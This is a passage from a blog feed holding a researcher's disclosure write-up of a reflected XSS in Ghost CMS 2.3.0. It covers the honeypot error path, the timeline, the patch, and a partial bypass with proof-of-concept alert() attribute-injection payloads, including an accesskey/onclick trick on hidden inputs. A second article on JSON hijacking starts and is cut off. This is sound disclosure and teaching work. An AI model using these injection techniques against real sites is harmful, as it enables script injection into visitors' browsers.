&lt;p&gt;It is available under &lt;a href="https://github.com/TryGhost/Ghost/blob/2.3.0/core/server/apps/subscribers/lib/views/subscribe.hbs#L47" rel="noopener noreferrer"&gt;/core/server/apps/subscribers/lib/views/subscribe.hbs:47-68&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight handlebars"&gt;&lt;code&gt;&lt;span class="k"&gt;{{^&lt;/span&gt;&lt;span class="nv"&gt;if&lt;/span&gt; &lt;span class="nv"&gt;success&lt;/span&gt;&lt;span class="k"&gt;}}&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;header&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Subscribe to &lt;span class="k"&gt;{{&lt;/span&gt;&lt;span class="na"&gt;@blog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;title&lt;/span&gt;&lt;span class="k"&gt;}}&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/header&amp;gt;&lt;/span&gt;

    &lt;span class="k"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt;subscribe_form&lt;/span&gt;
        &lt;span class="p"&gt;//&lt;/span&gt; &lt;span class="nv"&gt;arguments&lt;/span&gt;
    &lt;span class="k"&gt;}}&lt;/span&gt;
&lt;span class="k"&gt;{{else}}&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;header&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Subscribed!&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/header&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;&amp;lt;!-- ... --&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;{{/if}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the workflow visualized:&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5p6zwfjrxzby665fx1dd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5p6zwfjrxzby665fx1dd.png" alt="Ghost routes workflow" width="741" height="676"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As our tainted parameters are rendered as hidden inputs in the form, we need to trick the server into rendering the input form while using our POST values.&lt;br&gt;&lt;br&gt;
The condition for rendering the vulnerable parameters is the &lt;code&gt;success&lt;/code&gt; variable, which checks if any errors occurred when saving the new subscriber.&lt;/p&gt;

&lt;p&gt;When sending a post, the first method called is &lt;code&gt;bodyParsed.urlencoded&lt;/code&gt;, which converts our body to a JavaScript object.  &lt;/p&gt;

&lt;p&gt;The second method is &lt;a href="https://github.com/TryGhost/Ghost/blob/2.3.0/core/server/apps/subscribers/lib/router.js#L45" rel="noopener noreferrer"&gt;honeyPot&lt;/a&gt;, and is essential to this attack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;honeyPot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hasOwnProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;confirm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;confirm&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Oops, something went wrong!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// we don't need this anymore&lt;/span&gt;
    &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;confirm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As the form has a hidden &lt;code&gt;confirm&lt;/code&gt; parameters, it will ensure the parameter is present and that its value is empty. I presume this is to prevent automated bots to fill the form with junk too frequently.&lt;br&gt;&lt;br&gt;
If those conditions are not met, it will call &lt;code&gt;next&lt;/code&gt; with an error message, &lt;code&gt;Oops, something went wrong!&lt;/code&gt;.&lt;br&gt;&lt;br&gt;
As this is an error object, express will stop calling the next methods and instead use an errorHandler.  &lt;/p&gt;

&lt;p&gt;If we didn't trigger this error and used the normal workflow, the &lt;a href="https://github.com/TryGhost/Ghost/blob/2.3.0/core/server/apps/subscribers/lib/router.js#L58" rel="noopener noreferrer"&gt;handleSource&lt;/a&gt; function would be called, and perform the following logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;santizeUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_referrer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;santizeUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;referrer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;referrer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// ...&lt;/span&gt;

    &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, it would overwrite the &lt;code&gt;subscribed_url&lt;/code&gt; and &lt;code&gt;subscribed_referrer&lt;/code&gt; with a sanitized version of the posted values.&lt;br&gt;&lt;br&gt;
As we did not call this method, and instead took the honeypot bait, our values for &lt;code&gt;subscribed_url&lt;/code&gt; are not sanitized.&lt;/p&gt;

&lt;p&gt;We can therefore render the correct part of the form when giving a value to the 'confirm' input, as an error will be sent, which sets &lt;code&gt;success&lt;/code&gt; variable to &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As the same &lt;code&gt;_renderer&lt;/code&gt; method is used for all three scenarios, which are &lt;code&gt;get&lt;/code&gt;, &lt;code&gt;post&lt;/code&gt; and &lt;code&gt;errors&lt;/code&gt;, it does provide the request body to the template, even if we're in an error scenario.&lt;br&gt;&lt;br&gt;
Once we get in the rendering code of our form, &lt;code&gt;subscribe_form.js&lt;/code&gt;, our context now has the previously thrown error, but also all of our unsanitized posted variables.  &lt;/p&gt;

&lt;p&gt;Combining this with the vulnerable template and we now have all the required steps for a reflected XSS!&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerability Summary
&lt;/h2&gt;

&lt;p&gt;Causing an error by taking the honeypot bait does not strip or sanitize our variables, unlike the regular route.&lt;br&gt;&lt;br&gt;
This leads the tainted variables being printed in the page, and causes a reflected XSS!&lt;/p&gt;
&lt;h2&gt;
  
  
  Timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;2018/07/12: Original disclosure&lt;/li&gt;
&lt;li&gt;2018/07/17: Acknowledged the issues: They mentioned a 6-8 weeks timeline for a fix.&lt;/li&gt;
&lt;li&gt;2018/09/01: Asking for an update&lt;/li&gt;
&lt;li&gt;2018/09/05: They mentioned the ticket got lost in their bug tracking platform. &lt;/li&gt;
&lt;li&gt;2018/09/29: &lt;a href="https://github.com/TryGhost/Ghost/commit/305d13e5c" rel="noopener noreferrer"&gt;Partial fix committed&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;2018/09/30: Fix released on version &lt;code&gt;2.4.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;2018/10/07: Fix released on versions &lt;code&gt;1.25.6&lt;/code&gt; and &lt;code&gt;0.11.14&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;2018/11/19: Notified them of a partial, very low risk, bypass. Sent them my recommendations for a permanent fix.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note here that I never received an update since they acknowledged the ticket got lost, and still didn't hear from them to this day.  &lt;/p&gt;

&lt;p&gt;Also note that Ghost does not have a bug bounty program, so I did not receive a reward for this vulnerability.&lt;/p&gt;
&lt;h2&gt;
  
  
  Patch and partial bypass
&lt;/h2&gt;

&lt;p&gt;The patch for the vulnerability is &lt;a href="https://github.com/TryGhost/Ghost/commit/305d13e5c" rel="noopener noreferrer"&gt;the following&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;errorHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;santizeUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_referrer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;santizeUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subscribed_referrer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ghost added the &lt;a href="https://github.com/TryGhost/Ghost/blob/2.4.0/core/server/apps/subscribers/lib/router.js#L56" rel="noopener noreferrer"&gt;sanitizeURL&lt;/a&gt; validation on the &lt;code&gt;errorHandler&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;santizeUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;validator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isEmptyOrURL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where &lt;code&gt;isEmptyOrUrl&lt;/code&gt; checks if the URL is valid via the &lt;a href="https://www.npmjs.com/package/validator" rel="noopener noreferrer"&gt;validator&lt;/a&gt; npm package,  where ghost checks the &lt;code&gt;isEmpty&lt;/code&gt; part, and then call the &lt;code&gt;isUrl&lt;/code&gt; method of &lt;a href="https://www.npmjs.com/package/validator" rel="noopener noreferrer"&gt;validator&lt;/a&gt; if it's not empty.&lt;/p&gt;

&lt;p&gt;You might tell yourself:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Hey! A url can still contain a XSS, &lt;code&gt;http://test.com/#&amp;gt;&amp;lt;script&amp;gt;&lt;/code&gt; is a valid URL!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And you would be right!&lt;br&gt;&lt;br&gt;
Pretty much everything after the hash is technically a valid url, and can contain  spaces and other symbols.&lt;br&gt;&lt;br&gt;
This does not work in this case as the validator package does not allow the &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; characters.&lt;/p&gt;

&lt;p&gt;The relevant part of the check is &lt;a href="https://github.com/chriso/validator.js/blob/6.3.0/src/lib/isURL.js#L34" rel="noopener noreferrer"&gt;here&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isURL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;assertString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;2083&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;[\s&lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mailto:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/[\s&amp;lt;&amp;gt;]/&lt;/code&gt; regex ensures that we don't send a less than or greater than symbol in the url, wherever it may be.&lt;/p&gt;

&lt;p&gt;What we can do however it add spaces, quotes and other characters in the value, to add attributes to the tag.&lt;/p&gt;

&lt;p&gt;If we have a look at the HTML in which our content is injected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"location"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"location"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;OUR_URL&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is trivial to escape the &lt;code&gt;value&lt;/code&gt; attribue. As there are no quotes around the value, adding a space works.&lt;br&gt;&lt;br&gt;
If there were quotes, as our content isn't sanitized for attribute position, we could add a quote and keep on going.&lt;/p&gt;

&lt;p&gt;The reason why it is not a complete XSS like it previously was is because of the input type.&lt;/p&gt;

&lt;p&gt;With a regular input, we could modify it to have this form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"location"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"location"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt;  &lt;span class="na"&gt;onfocus=&lt;/span&gt;&lt;span class="s"&gt;"alert(document.domain)"&lt;/span&gt; &lt;span class="na"&gt;autofocus&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which would trigger the alert. But on a hidden input, as it's hidden we can't focus on it.&lt;br&gt;
This makes it a lot harder to have an XSS, and the resulting XSS will require user actions unlike the previous versions.&lt;/p&gt;

&lt;p&gt;Garet Hayes made a great blog post on the PortSwigger blog: &lt;a href="https://portswigger.net/blog/xss-in-hidden-input-fields" rel="noopener noreferrer"&gt;XSS in hidden input fields&lt;/a&gt;, where setting an &lt;code&gt;accesskey&lt;/code&gt; attribute and triggering it does launch the &lt;code&gt;onclick&lt;/code&gt; event, even though the event is hidden.&lt;/p&gt;

&lt;p&gt;Here is a proof of concept:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;accesskey=&lt;/span&gt;&lt;span class="s"&gt;"X"&lt;/span&gt; &lt;span class="na"&gt;onclick=&lt;/span&gt;&lt;span class="s"&gt;"alert(1)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this input, when the user presses &lt;code&gt;ALT+SHIFT+X&lt;/code&gt; or &lt;code&gt;CMD+ALT+X&lt;/code&gt; on OSX, the alert will launch.&lt;/p&gt;

&lt;p&gt;This does make it almost worthless as an input since there is no chance a user will manually press those keys, but it's still a reflected XSS.&lt;/p&gt;

&lt;p&gt;I have notified ghost of this bypass as well as the recommended solution on November 19th, but never received an answer.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Unlike other big CMS such as WordPress and Joomla, as Ghost is publisher-focused, most visitors on the website won't have an account.&lt;br&gt;&lt;br&gt;
On the other CMS, there are plugins to create new features such as making an e-commerce website, allow comments or write your own p osts, which allows the users to create accounts. &lt;/p&gt;

&lt;p&gt;This limits the attack scope to public content, which makes it a lot more secure by default, as you can't access most of the internal API as a guest.&lt;br&gt;&lt;br&gt;
Overall, while the security team did take a very long time to fix this and using a weak solution, the security of the application from an external attacker is pretty good as the scope is very limited.  &lt;/p&gt;




&lt;p&gt;Follow me on &lt;a href="https://twitter.com/AntoGarand" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt; if you want to learn more about security and keep up to date regarding my publications!&lt;br&gt;&lt;br&gt;
The next post will be about &lt;strong&gt;multiple stored XSS on Dev.to&lt;/strong&gt;, which was caused by a logic bug in the publication platform.&lt;/p&gt;




&lt;p&gt;If you can provide invitation for private programs on any platform, feel free to send me an invite! You can contact me via twitter, DM's are open.&lt;/p&gt;

</description>
      <category>security</category>
      <category>xss</category>
      <category>vulnerability</category>
    </item>
    <item>
      <title>Why Facebook's api starts with a for loop</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Tue, 13 Nov 2018 18:00:23 +0000</pubDate>
      <link>https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob</link>
      <guid>https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob</guid>
      <description>&lt;p&gt;If you ever inspected your requests to big company's API's in the browser, you might have noticed some weird javascript before the JSON itself:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Facebook &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbhukb2z4oz28bniuvpke.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbhukb2z4oz28bniuvpke.png" alt="Facebook" width="189" height="47"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Gmail &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu1036meuo7mvd1pg163m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu1036meuo7mvd1pg163m.png" alt="Facebook" width="142" height="81"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Why would they waste few bytes to invalidate this JSON?&lt;/p&gt;

&lt;h1&gt;
  
  
  To protect your data
&lt;/h1&gt;

&lt;p&gt;Without those important bytes, it could be possible for any website to access this data.&lt;/p&gt;

&lt;p&gt;This vulnerability is called &lt;a href="https://duckduckgo.com/?q=json+hijacking" rel="noopener noreferrer"&gt;JSON hijacking&lt;/a&gt;, and allows websites to extract the JSON data from those API's.&lt;/p&gt;

&lt;h2&gt;
  
  
  Origins
&lt;/h2&gt;

&lt;p&gt;In JavaScript 1.5 and earlier versions, it was possible to override Primitive Object's constructor, and have this overwritten version called when using bracket notations.&lt;/p&gt;

&lt;p&gt;This means you could do:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
